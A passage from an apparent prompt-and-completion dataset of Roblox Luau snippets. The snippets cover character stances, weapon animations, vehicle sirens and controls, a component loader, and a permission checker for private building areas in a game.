{\n\t\t\t\t\tCameraOffset = Vector3.new(0, -1, 0)\n\t\t\t\t}):Play()\t\n\t\t\tend\n\t\tend;\n\tend\nend\n\t\nlocal L_165_ = false\n\nL_107_.InputBegan:connect(function(L_309_arg1, L_310_arg2)\n\tif not L_310_arg2 and L_15_ == true then\n\t\tif L_15_ then\n\t\t\tif L_309_arg1.KeyCode == Enum.KeyCode.C or L_309_arg1.KeyCode == Enum.KeyCode.ButtonB then \n\t\t\t\tif L_93_ == 0 and not L_67_ and L_15_ then\t\t\t\n\t\t\t\t\tL_93_ = 1\n\t\t\t\t\tCrouch()\n\t\t\t\t\n\t\t\t\t\tL_94_ = false\n\t\t\t\t\tL_96_ = true\n\t\t\t\t\tL_95_ = false\n\t\t\t\telseif L_93_ == 1 and not L_67_ and L_15_ then\n\t\t\t\t\tL_93_ = 2\n\t\t\t\t\tProne()\n\t\t\t\t\n\t\t\t\t\tL_96_ = false\n\t\t\t\t\tL_94_ = true\n\t\t\t\t\tL_95_ = false\n\t\t\t\t\tL_165_ = true\n\t\t\t\tend\n\t\t\tend\n\t\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\tif L_309_arg1.KeyCode == Enum.KeyCode.X or L_309_arg1.KeyCode == Enum.KeyCode.ButtonY then \n\t\t\t\tif L_93_ == 2 and not L_67_ and L_15_ then\n\t\t\t\t\tL_165_ = false\t\t\n\t\t\t\t\tL_93_ = 1\n\t\t\t\t\tCrouch()\n\t\t\t\t\t\n\t\t\t\t\tL_94_ = false\n\t\t\t\t\tL_96_ = true\n\t\t\t\t\tL_95_ = false\n\t\t\t\telseif L_93_ == 1 and not L_67_ and L_15_ then\t\t\n\t\t\t\t\tL_93_ = 0\n\t\t\t\t\tStand()\n\t\t\t\t\n\t\t\t\t\tL_94_ = false\n\t\t\t\t\tL_96_ = false\n\t\t\t\t\tL_95_ = true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- ROBLOX deviation: Currently we have translated a limited subset of the jest-mock\n-- functionality just to bootstrap the development of the spyMatchers. As we have\n-- a need for more functionality, we will revisit this file and continue the translation\n-- efforts.", "completion": "\n\nlocal CurrentModule = script\nlocal Packages = CurrentModule.Parent\n\nlocal LuauPolyfill = require(Packages.LuauPolyfill)\nlocal Array = LuauPolyfill.Array\nlocal Set = LuauPolyfill.Set\nlocal Symbol = LuauPolyfill.Symbol\n\ntype Array = LuauPolyfill.Array\ntype Object = LuauPolyfill.Object\n\nlocal exports = {}\n\nlocal ModuleMockerClass = {}\n"} +{"prompt": "--[[**\n\tensures value is a number where min <= value\n\n\t@param min The minimum to use\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.numberMin(min)\n\treturn function(value)\n\t\tlocal success, errMsg = t.number(value)\n\t\tif not success then\n\t\t\treturn false, errMsg or \"\"\n\t\tend\n\n\t\tif value >= min then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false, string.format(\"number >= %s expected, got %s\", min, value)\n\t\tend\n\tend\nend\n"} +{"prompt": "--------------------------------------------------------------------------------------\n--------------------[ ANIMATIONS ]----------------------------------------------------\n--------------------------------------------------------------------------------------", "completion": "\n\nlocal AnimAng = {0, 0, 0, 0, 0}\n\nlocal AnimCF = function(State, Ang)\n\tif State ~= \"Running\" then\n\t\tif (not Aimed) then\n\t\t\tif State == \"Idleing\" then\n\t\t\t\treturn CF(\n\t\t\t\t\tRAD(SIN(Ang)) / 2 * StanceSway,\n\t\t\t\t\t1 + RAD(SIN(Ang * 5 / 2)) / 2 * StanceSway, 0\n\t\t\t\t)\n\t\t\telseif State == \"Walking\" then\n\t\t\t\treturn CF(\n\t\t\t\t\tRAD(SIN(Ang)) * 2 * StanceSway,\n\t\t\t\t\t1 + RAD(ABS(SIN(Ang))) * 2 * StanceSway, 0\n\t\t\t\t) * CFANG(0, RAD(SIN(Ang)) / 3, 0)\n\t\t\tend\n\t\telseif Aimed then\n\t\t\tif State == \"Idleing\" then\n\t\t\t\treturn CF(\n\t\t\t\t\tRAD(SIN(Ang)) / 4 * StanceSway,\n\t\t\t\t\t1 + RAD(SIN(Ang * 5 / 2)) / 4 * StanceSway, 0\n\t\t\t\t)\n\t\t\telseif State == \"Walking\" then\n\t\t\t\treturn CF(\n\t\t\t\t\tRAD(SIN(Ang)) / 3 * StanceSway,\n\t\t\t\t\t1 + RAD(ABS(SIN(Ang))) / 3 * StanceSway, 0\n\t\t\t\t)\n\t\t\tend\n\t\tend\n\telseif State == \"Running\" then\n\t\treturn CF(\n\t\t\tSIN(Ang) / 6 * StanceSway,\n\t\t\t0.9 + ABS(SIN(Ang)) / 5 * StanceSway, 0\n\t\t) * CFANG(0, -RAD(SIN(Ang)) * 7, 0)\n\tend\nend\n\nfunction Animate()\n\tlocal IsIdleing = false\n\tlocal IsWalking = false\n\tlocal IsRunning = false\n\tspawn(function()\n\t\twhile Selected do\n\t\t\tIsIdleing = Idleing and (not Walking) and (not Reloading) and (not Knifing) and (not ThrowingGrenade) and Selected\n\t\t\tIsWalking = (not Idleing) and Walking and (not Running) and (not Reloading) and (not Knifing) and (not ThrowingGrenade) and Selected\n\t\t\tIsRunning = (not Idleing) and Walking and Running and (not Aiming) and (not Knifing) and (not ThrowingGrenade) and Selected\n\t\t\tRS:wait()\n\t\tend\n\t\tIsIdleing = false\n\t\tIsWalking = false\n\t\tIsRunning = false\n\tend)\n\tspawn(function()\n\t\tif S.PlayerAnimations then\n\t\t\tTweenJoint(LWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, 0.15)\n\t\t\tTweenJoint(RWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, 0.15)\n\t\t\tlocal PreviousArmTilt = ArmTilt\n\t\t\twhile Selected do\n\t\t\t\trepeat RS:wait() until (ArmTilt ~= PreviousArmTilt) or (not Selected)\n\t\t\t\tif (not IsRunning) and (not Aimed) and (not Reloading) and (not Knifing) and (not ThrowingGrenade) and Selected then\n\t\t\t\t\tPreviousArmTilt = ArmTilt\n\t\t\t\t\tTweenJoint(LWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, 0.15)\n\t\t\t\t\tTweenJoint(RWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, 0.15)\n\t\t\t\tend\n\t\t\t\tRS:wait()\n\t\t\tend\n\t\tend\n\tend)\n\tspawn(function()\n\t\twhile Selected do\n\t\t\tif IsIdleing then\n\t\t\t\tif (not Aimed) and (not Aiming) then\n\t\t\t\t\tGui_Clone.CrossHair.Box:TweenSizeAndPosition(\n\t\t\t\t\t\tUDim2.new(0, 70, 0, 70),\n\t\t\t\t\t\tUDim2.new(0, -35, 0, -35),\n\t\t\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\t\t\tEnum.EasingStyle.Linear,\n\t\t\t\t\t\tS.PlayerAnimations and 0.15 or 0,\n\t\t\t\t\t\ttrue\n\t\t\t\t\t)\n\t\t\t\t\tif S.PlayerAnimations then\n\t\t\t\t\t\tTweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, 0.15)\n\t\t\t\t\t\tTweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, 0.15)\n\t\t\t\t\t\tTweenJoint(AnimWeld, AnimCF(\"Idleing\", AnimAng[1]), CF(), Sine, 0.15)\n\t\t\t\t\t\tTweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, 0.15)\n\t\t\t\t\telse\n\t\t\t\t\t\tif (not LWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not RWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not ABWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not AnimWeld:FindFirstChild(\"TweenCode\")) then\n\t\t\t\t\t\t\tLWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_UnAimed.Left\n\t\t\t\t\t\t\tRWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_UnAimed.Right\n\t\t\t\t\t\t\tAnimWeld.C0 = CF(0, 1, 0)\n\t\t\t\t\t\t\tGrip.C1 = CFANG(0, RAD(20), 0)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telseif Aimed and (not Aiming) then\n\t\t\t\t\tif S.PlayerAnimations then\n\t\t\t\t\t\tTweenJoint(LWeld, ArmC0[1], S.ArmC1_Aimed.Left, Sine, 0.15)\n\t\t\t\t\t\tTweenJoint(RWeld, ArmC0[2], S.ArmC1_Aimed.Right, Sine, 0.15)\n\t\t\t\t\t\tTweenJoint(AnimWeld, AnimCF(\"Idleing\", AnimAng[2]), CF(), Sine, 0.15)\n\t\t\t\t\telse\n\t\t\t\t\t\tif (not LWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not RWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not ABWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not AnimWeld:FindFirstChild(\"TweenCode\")) then\n\t\t\t\t\t\t\tLWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_Aimed.Left\n\t\t\t\t\t\t\tRWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_Aimed.Right\n\t\t\t\t\t\t\tAnimWeld.C0 = CF(0, 1, 0)\n\t\t\t\t\t\t\tGrip.C1 = Aimed_GripCF\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif S.PlayerAnimations then\n\t\t\t\t\twait(0.15)\n\t\t\t\t\tRunTween = false\n\t\t\t\t\twhile IsIdleing do\n\t\t\t\t\t\tif (not LWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not RWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not ABWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not AnimWeld:FindFirstChild(\"TweenCode\")) then\n\t\t\t\t\t\t\tif (not Aimed) and (not Aiming) then\n\t\t\t\t\t\t\t\tAnimWeld.C0 = AnimCF(\"Idleing\", AnimAng[1])\n\t\t\t\t\t\t\t\tAnimAng[1] = AnimAng[1] + 0.03 * StanceSway\n\t\t\t\t\t\t\telseif Aimed and (not Aiming) then\n\t\t\t\t\t\t\t\tAnimWeld.C0 = AnimCF(\"Idleing\", AnimAng[2])\n\t\t\t\t\t\t\t\tAnimAng[2] = AnimAng[2] + 0.015 * StanceSway\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\tRS:wait()\n\t\t\t\t\tend\n\t\t\t\t\tAnimAng[1], AnimAng[2] = 0, 0\n\t\t\t\tend\n\t\t\tend\n\t\t\tif IsWalking then\n\t\t\t\tif (not Aimed) and (not Aiming) then\n\t\t\t\t\tGui_Clone.CrossHair.Box:TweenSizeAndPosition(\n\t\t\t\t\t\tUDim2.new(0, 150, 0, 150),\n\t\t\t\t\t\tUDim2.new(0, -75, 0, -75),\n\t\t\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\t\t\tEnum.EasingStyle.Linear,\n\t\t\t\t\t\tS.PlayerAnimations and 0.15 or 0,\n\t\t\t\t\t\ttrue\n\t\t\t\t\t)\n\t\t\t\t\tif S.PlayerAnimations then\n\t\t\t\t\t\tTweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, 0.15)\n\t\t\t\t\t\tTweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, 0.15)\n\t\t\t\t\t\tTweenJoint(AnimWeld, AnimCF(\"Walking\", AnimAng[3]), CF(), Sine, 0.15)\n\t\t\t\t\t\tTweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, 0.15)\n\t\t\t\t\telse\n\t\t\t\t\t\tif (not LWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not RWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not ABWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not AnimWeld:FindFirstChild(\"TweenCode\")) then\n\t\t\t\t\t\t\tLWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_UnAimed.Left\n\t\t\t\t\t\t\tRWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_UnAimed.Right\n\t\t\t\t\t\t\tAnimWeld.C0 = CF(0, 1, 0)\n\t\t\t\t\t\t\tGrip.C1 = CFANG(0, RAD(20), 0)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telseif Aimed and (not Aiming) then\n\t\t\t\t\tif S.PlayerAnimations then\n\t\t\t\t\t\tTweenJoint(LWeld, ArmC0[1], S.ArmC1_Aimed.Left, Sine, 0.15)\n\t\t\t\t\t\tTweenJoint(RWeld, ArmC0[2], S.ArmC1_Aimed.Right, Sine, 0.15)\n\t\t\t\t\t\tTweenJoint(AnimWeld, AnimCF(\"Walking\", AnimAng[4]), CF(), Sine, 0.15)\n\t\t\t\t\telse\n\t\t\t\t\t\tif (not LWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not RWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not ABWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not AnimWeld:FindFirstChild(\"TweenCode\")) then\n\t\t\t\t\t\t\tLWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_Aimed.Left\n\t\t\t\t\t\t\tRWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_Aimed.Right\n\t\t\t\t\t\t\tAnimWeld.C0 = CF(0, 1, 0)\n\t\t\t\t\t\t\tGrip.C1 = Aimed_GripCF\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif S.PlayerAnimations then\n\t\t\t\t\twait(0.15)\n\t\t\t\t\tRunTween = false\n\t\t\t\t\twhile IsWalking do\n\t\t\t\t\t\tif (not LWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not RWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not ABWeld:FindFirstChild(\"TweenCode\"))\n\t\t\t\t\t\tand (not AnimWeld:FindFirstChild(\"TweenCode\"))then\n\t\t\t\t\t\t\tif (not Aimed) and (not Aiming) then\n\t\t\t\t\t\t\t\tAnimWeld.C0 = AnimCF(\"Walking\", AnimAng[3])\n\t\t\t\t\t\t\t\tAnimAng[3] = AnimAng[3] + 0.15 * StanceSway\n\t\t\t\t\t\t\telseif Aimed and (not Aiming) then\n\t\t\t\t\t\t\t\tAnimWeld.C0 = AnimCF(\"Walking\", AnimAng[4])\n\t\t\t\t\t\t\t\tAnimAng[4] = AnimAng[4] + 0.1 * StanceSway\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\tRS:wait()\n\t\t\t\t\tend\n\t\t\t\t\tAnimAng[3], AnimAng[4] = 0, 0\n\t\t\t\tend\n\t\t\tend\n\t\t\tif IsRunning then\n\t\t\t\tGui_Clone.CrossHair.Box:TweenSizeAndPosition(\n\t\t\t\t\tUDim2.new(0, 200, 0, 200),\n\t\t\t\t\tUDim2.new(0, -100, 0, -100),\n\t\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\t\tEnum.EasingStyle.Linear,\n\t\t\t\t\tS.PlayerAnimations and 0.15 or 0,\n\t\t\t\t\ttrue\n\t\t\t\t)\n\t\t\t\tlocal LArmCF = CF(0, 0.7 - (SIN(AnimAng[5]) + 1)/15, 0)\n\t\t\t\tlocal LArmAng = CFANG(RAD(ABS(COS(AnimAng[5]))) * 10 + RAD(35), RAD(-30), RAD((SIN(AnimAng[5]) + 1) * 15 - 40))\n\t\t\t\tlocal RArmCF = CF(0, (SIN(AnimAng[5]) + 1)/2, 0)\n\t\t\t\tlocal RArmAng = CFANG(RAD(ABS(COS(AnimAng[5]))) * 10 + RAD(20), 0, RAD(50 + (SIN(AnimAng[5]) + 1) * 5))\n\t\t\t\tif S.PlayerAnimations then\n\t\t\t\t\tTweenJoint(LWeld, ArmC0[1], LArmCF * LArmAng, Sine, 0.15)\n\t\t\t\t\tTweenJoint(RWeld, ArmC0[2], RArmCF * RArmAng, Sine, 0.15)\n\t\t\t\t\tTweenJoint(AnimWeld, AnimCF(\"Running\", AnimAng[5]), CF(), Sine, 0.15)\n\t\t\t\t\tTweenJoint(Grip, Grip.C0, CFANG(0, RAD(-5), 0), Sine, 0.15)\n\t\t\t\telse\n\t\t\t\t\tLWeld.C0, LWeld.C1 = ArmC0[1], LArmCF * LArmAng\n\t\t\t\t\tRWeld.C0, RWeld.C1 = ArmC0[2], RArmCF * RArmAng\n\t\t\t\t\tAnimWeld.C0 = CF(0, 0.9, 0)\n\t\t\t\t\tGrip.C1 = CFANG(0, RAD(-5), 0)\n\t\t\t\tend\n\t\t\t\tif S.PlayerAnimations then\n\t\t\t\t\tRunTween = true\n\t\t\t\t\twait(0.15)\n\t\t\t\t\twhile IsRunning do\n\t\t\t\t\t\tif (not Aiming) then\n\t\t\t\t\t\t\tAnimWeld.C0 = AnimCF(\"Running\", AnimAng[5])\n\t\t\t\t\t\t\tAnimAng[5] = AnimAng[5] + 0.18\n\t\t\t\t\t\tend\n\t\t\t\t\t\tRS:wait()\n\t\t\t\t\tend\n\t\t\t\t\tAnimAng[5] = 0\n\t\t\t\tend\n\t\t\tend\n\t\t\tRS:wait()\n\t\tend\n\tend)\nend\n"} +{"prompt": "--[[Instructions:\n Put this script IN A BRICK! Then in the same brick insert a ClickDetector, Follow the instructions below]]", "completion": "\n\n\nfunction onClicked()\nscript.Parent.Woosh:Play()\nscript.Parent.BodyGyro.maxTorque = Vector3.new(4e+009, 0, 4e+009)\nwait(3)\nscript.Parent.BodyGyro.maxTorque = Vector3.new(0, 0, 0)\n\nend \n script.Parent.ClickDetector.MouseClick:connect(onClicked)\n"} +{"prompt": "--// # key, Wail", "completion": "\nmouse.KeyDown:connect(function(key)\n\tif key==\"f\" then \n\t\tif veh.Lightbar.middle.Wail.IsPlaying == true then\n\t\tveh.Lightbar.middle.Beep:Play()\n\t\tveh.Lightbar.middle.Wail:Stop()\n\t\tscript.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(62, 62, 62)\n\t\telse\n\t veh.Lightbar.middle.Beep:Play() \n\t\tveh.Lightbar.middle.Wail:Play()\n\t\tscript.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(215, 135, 110)\n\t\tscript.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(62, 62, 62)\n\t\tscript.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(62, 62, 62)\n\t\tend\n\tend\nend)\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------------------------\n--// Module", "completion": "\n\nlocal module = {};\n\nfor _, class in next, {\"TextLabel\", \"TextBox\", \"TextButton\", \"TextReplace\"} do\n\tmodule[string.sub(class, 5)] = function(fontName, child)\n\t\treturn customFont.new(fontName, class == \"TextReplace\" and child or class, class == \"TextButton\" or (class == \"TextReplace\" and child:IsA(\"TextButton\")));\n\tend;\nend;\n\nwait(); -- top bar can mess with stuff if fonts called instantly\n\nreturn module;\n"} +{"prompt": "-------(note: if it is pistol or knife then 1 is on right leg, 2 is on left leg, 3 is in the back of your pants and 4 is in the front of your pants)", "completion": "\nmodel = nil--gun model, that is\ndistance = 0.75--this is the distance between the part(torso/leg) and the gun. DON'T MAKE negitive\nrotation = 225--this is the turning in degrees."} +{"prompt": "--// SS3 controls for AC6 by Itzt, originally for 2014 Infiniti QX80. i don't know how to tune ac lol", "completion": "\n \nwait(0.1)\nlocal player = game.Players.LocalPlayer\nlocal HUB = script.Parent.HUB\nlocal HUB2 = script.Parent.HUB2\nlocal limitButton = HUB.Name\nlocal FE = game.Workspace.FilteringEnabled\nlocal lightOn = false\nlocal Camera = game.Workspace.CurrentCamera\nlocal cam = script.Parent.nxtcam.Value\nlocal carSeat = script.Parent.CarSeat.Value\nlocal mouse = game.Players.LocalPlayer:GetMouse()\nlocal windows = false\nlocal handler = carSeat:WaitForChild('Filter')\nlocal winfob = HUB.Parent.Music\nlocal pal = false\nlocal palpal = HUB.Parent.Palette\nlocal red = 0\nlocal green = 0\nlocal blue = 1\nlocal debounce = false\n\nscript.Parent.Infotainment.Main.User.Text = \"Hello, \"..(player.Name)\n\nlocal scr = false\n"} +{"prompt": "--[=[\n\t@param parent Instance\n\t@return RBXScriptConnection\n\n\tScans all descendants of `parent` and loads any ModuleScripts found, then\n\tcalls `Component.new` on those loaded modules.\n\n\tEach component module class must have a `Tag` string property to map it\n\tto the proper tag.\n]=]", "completion": "\nfunction Component.Auto(parent)\n\tlocal function Setup(moduleScript)\n\t\tlocal m = require(moduleScript)\n\t\tassert(type(m) == \"table\", \"Expected table for component\")\n\t\tassert(type(m.Tag) == \"string\", \"Expected .Tag property\")\n\t\tComponent.new(m.Tag, m, m.RenderPriority, m.RequiredComponents)\n\tend\n\tfor _,v in ipairs(parent:GetDescendants()) do\n\t\tif v:IsA(\"ModuleScript\") then\n\t\t\tSetup(v)\n\t\tend\n\tend\n\treturn parent.DescendantAdded:Connect(function(v)\n\t\tif v:IsA(\"ModuleScript\") then\n\t\t\tSetup(v)\n\t\tend\n\tend)\nend\n\n"} +{"prompt": "--[[script.givegui.OnServerEvent:connect(function(player)\n\tif script:FindFirstChild(player.Name) then\n\t\tprint(\"Gui already loaded\")\n\telse\n\t\tgivep = player\n\t\tname = Instance.new(\"StringValue\", script)\n\t\tname.Name = player.Name\n\t\tname.Value = player.Name\n\t\tlocal gui = script.givegui.Radio:Clone()\n\t\tgui.Frame.Line7.Text = script.givegui.Radio.Frame.L7.Value\n\t\tgui.Frame.Line6.Text = script.givegui.Radio.Frame.L6.Value\n\t\tgui.Frame.Line5.Text = script.givegui.Radio.Frame.L5.Value\n\t\tgui.Frame.Line4.Text = script.givegui.Radio.Frame.L4.Value\n\t\tgui.Frame.Line3.Text = script.givegui.Radio.Frame.L3.Value\n\t\tgui.Frame.Line2.Text = script.givegui.Radio.Frame.L2.Value\n\t\tgui.Frame.Line1.Text = script.givegui.Radio.Frame.L1.Value\n\t\tgui.Parent = player.PlayerGui\n\t\tplayer.Character.Humanoid.Died:connect(function()\n\t\t\tname:Remove()\n\t\tend)\n\tend\nend)\n\ngame.Players.PlayerRemoving:connect(function(p)\n\tif p == givep then\n\t\tname:Remove()\n\tend\nend)]]", "completion": "\n"} +{"prompt": "-- ROBLOX FIXME: make proper platform check\n-- local isWindows = process.platform == \"win32\"", "completion": "\nlocal isWindows = false -- UserInputService:GetPlatform() == 0\nlocal ARROW = \" \\u{203A} \"\nexports.ARROW = ARROW\nlocal ICONS = {\n\tfailed = if isWindows then \"\\u{00D7}\" else \"\\u{2715}\",\n\tpending = \"\\u{25CB}\",\n\tsuccess = if isWindows then \"\\u{221A}\" else \"\\u{2713}\",\n\ttodo = \"\\u{270E}\",\n}\nexports.ICONS = ICONS\nlocal CLEAR = if isWindows then \"\\x1B[2J\\x1B[0f\" else \"\\x1B[2J\\x1B[3J\\x1B[H\"\nexports.CLEAR = CLEAR\nreturn exports\n"} +{"prompt": "-- Track the enabling of areas", "completion": "\nSecurity.Areas = Workspace:FindFirstChild('[Private Building Areas]');\nWorkspace.ChildAdded:connect(function (Child)\n\tif not Security.Areas and Child.Name == '[Private Building Areas]' then\n\t\tSecurity.Areas = Child;\n\tend;\nend);\nWorkspace.ChildRemoved:connect(function (Child)\n\tif Security.Areas and Child.Name == '[Private Building Areas]' then\n\t\tSecurity.Areas = nil;\n\tend;\nend);\n\nfunction Security.IsAreaAuthorizedForPlayer(Area, Player)\n\t-- Returns whether `Player` has permission to manipulate parts in this area\n\n\t-- Ensure area has permissions\n\tlocal Permissions = Area:FindFirstChild '[Permissions]';\n\tif not Permissions then\n\t\treturn;\n\telse\n\t\tPermissions = require(Permissions);\n\tend;\n\n\t-- Ensure permissions are set up\n\tif not Permissions then\n\t\treturn;\n\tend;\n\n\t-- Search for authorizing permission\n\tfor _, Permission in pairs(Permissions) do\n\n\t\t-- Check group permissions\n\t\tif Permission.Type == 'Group' then\n\n\t\t\t-- Check player's group membership\n\t\t\tlocal PlayerInGroup = Player:IsInGroup(Permission.GroupId);\n\n\t\t\t-- If no specific rank is required, authorize\n\t\t\tif PlayerInGroup and not Permission.Ranks then\n\t\t\t\treturn true;\n\n\t\t\t-- If specific rank is required, check player rank\n\t\t\telseif PlayerInGroup and Permission.Ranks then\n\t\t\t\tlocal Symbol, RankNumber = tostring(Permission.Ranks):match('([<>]?=?)([0-9]+)');\n\t\t\t\tlocal PlayerRank = Player:GetRankInGroup(Permission.GroupId);\n\t\t\t\tRankNumber = tonumber(RankNumber);\n\n\t\t\t\t-- Check the player rank\n\t\t\t\tif not Symbol and (PlayerRank == RankNumber) then\n\t\t\t\t\treturn true;\n\t\t\t\telseif Symbol == '=' and (PlayerRank == RankNumber) then\n\t\t\t\t\treturn true;\n\t\t\t\telseif Symbol == '>' and (PlayerRank > RankNumber) then\n\t\t\t\t\treturn true;\n\t\t\t\telseif Symbol == '<' and (PlayerRank < RankNumber) then\n\t\t\t\t\treturn true;\n\t\t\t\telseif Symbol == '>=' and (PlayerRank >= RankNumber) then\n\t\t\t\t\treturn true;\n\t\t\t\telseif Symbol == '<=' and (PlayerRank <= RankNumber) then\n\t\t\t\t\treturn true;\n\t\t\t\tend;\n\t\t\tend;\n\n\t\t-- Check player permissions\n\t\telseif Permission.Type == 'Player' then\n\t\t\tif (Player.userId == Permission.PlayerId) or (Player.Name == Permission.PlayerName) then\n\t\t\t\treturn true;\n\t\t\tend;\n\n\t\t-- Check owner permissions\n\t\telseif Permission.Type == 'Owner' then\n\t\t\tif (Player.userId == Permission.PlayerId) or (Player.Name == Permission.PlayerName) then\n\t\t\t\treturn true;\n\t\t\tend;\n\n\t\t-- Check auto-permissions\n\t\telseif Permission.Type == 'Anybody' then\n\t\t\treturn true;\n\n\t\t-- Check friend permissions\n\t\telseif Permission.Type == 'Friends' then\n\t\t\tif Player:IsFriendsWith(Permission.PlayerId) then\n\t\t\t\treturn true;\n\t\t\tend;\n\n\t\t-- Check asset permissions\n\t\telseif Permission.Type == 'Asset' then\n\t\t\tif MarketplaceService:PlayerOwnsAsset(Player, Permission.AssetId) then\n\t\t\t\treturn true;\n\t\t\tend;\n\n\t\t-- Check team permissions\n\t\telseif Permission.Type == 'Team' then\n\t\t\tif Permission.Team and Player.Team == Permission.Team then\n\t\t\t\treturn true;\n\t\t\telseif Permission.TeamColor and Player.Team and Player.Team.TeamColor == Permission.TeamColor then\n\t\t\t\treturn true;\n\t\t\telseif Permission.TeamName and Player.Team and Player.Team.Name == Permission.TeamName then\n\t\t\t\treturn true;\n\t\t\tend;\n\t\t\n\t\t-- Check BC permissions\n\t\telseif Permission.Type == 'NoBC' then\n\t\t\tif Player.MembershipType == Enum.MembershipType.None then\n\t\t\t\treturn true;\n\t\t\tend;\n\t\telseif Permission.Type == 'AnyBC' then\n\t\t\tif Player.MembershipType ~= Enum.MembershipType.None then\n\t\t\t\treturn true;\n\t\t\tend;\n\t\telseif Permission.Type == 'BC' then\n\t\t\tif Player.MembershipType == Enum.MembershipType.BuildersClub then\n\t\t\t\treturn true;\n\t\t\tend;\n\t\telseif Permission.Type == 'TBC' then\n\t\t\tif Player.MembershipType == Enum.MembershipType.TurboBuildersClub then\n\t\t\t\treturn true;\n\t\t\tend;\n\t\telseif Permission.Type == 'OBC' then\n\t\t\tif Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then\n\t\t\t\treturn true;\n\t\t\tend;\n\n\t\t-- Check custom permissions\n\t\telseif Permission.Type == 'Callback' then\n\t\t\treturn Permission.Callback(Player);\n\t\tend;\n\n\tend;\n\n\t-- If the player passes none of these conditions, deny access\n\treturn false;\nend;\n\nfunction Security.IsItemAllowed(Item)\n\t-- Returns whether instance `Item` can be accessed\n\n\t-- Ensure `Item` is a part or a model\n\tif not Item:IsA 'BasePart' and not Item:IsA 'Model' then\n\t\treturn false;\n\tend;\n\n\t-- Check if `Item` descendants from any allowed location\n\tfor _, AllowedLocation in pairs(Security.AllowedLocations) do\n\t\tif Item:IsDescendantOf(AllowedLocation) then\n\t\t\treturn true;\n\t\tend;\n\tend;\n\n\t-- Deny if `Item` is not a descendant of any allowed location\n\treturn false;\n\nend;\n\nfunction Security.AreAreasEnabled()\n\t-- Returns whether areas are enabled\n\n\t-- Base whether areas are enabled depending on area container presence and tool mode\n\tif Security.Areas and Tool.ClassName == 'Tool' then\n\t\treturn true;\n\telse\n\t\treturn false;\n\tend;\nend;\n\nfunction Security.ArePartsViolatingAreas(Parts, Player, ExemptPartial, AreaPermissions)\n\t-- Returns whether the given parts are inside any unauthorized areas\n\n\t-- Make sure area security is being enforced\n\tif not Security.AreAreasEnabled() then\n\t\treturn false;\n\tend;\n\n\t-- Make sure there is a permissions cache\n\tAreaPermissions = AreaPermissions or {};\n\n\t-- Check which areas the parts are in\n\tlocal Areas, AreaMap = Security.GetSelectionAreas(Parts, not ExemptPartial and not Security.AllowPublicBuilding);\n\n\t-- Check authorization for each relevant area\n\tfor _, Area in pairs(Areas) do\n\n\t\t-- Determine authorization if not in given permissions cache\n\t\tif AreaPermissions[Area] == nil then\n\t\t\tAreaPermissions[Area] = Security.IsAreaAuthorizedForPlayer(Area, Player);\n\t\tend;\n\n\t\t-- If unauthorized and partial violations aren't exempt, declare violation\n\t\tif not ExemptPartial and AreaPermissions[Area] == false then\n\t\t\treturn true;\n\t\tend;\n\n\t\t-- If authorized, and partial 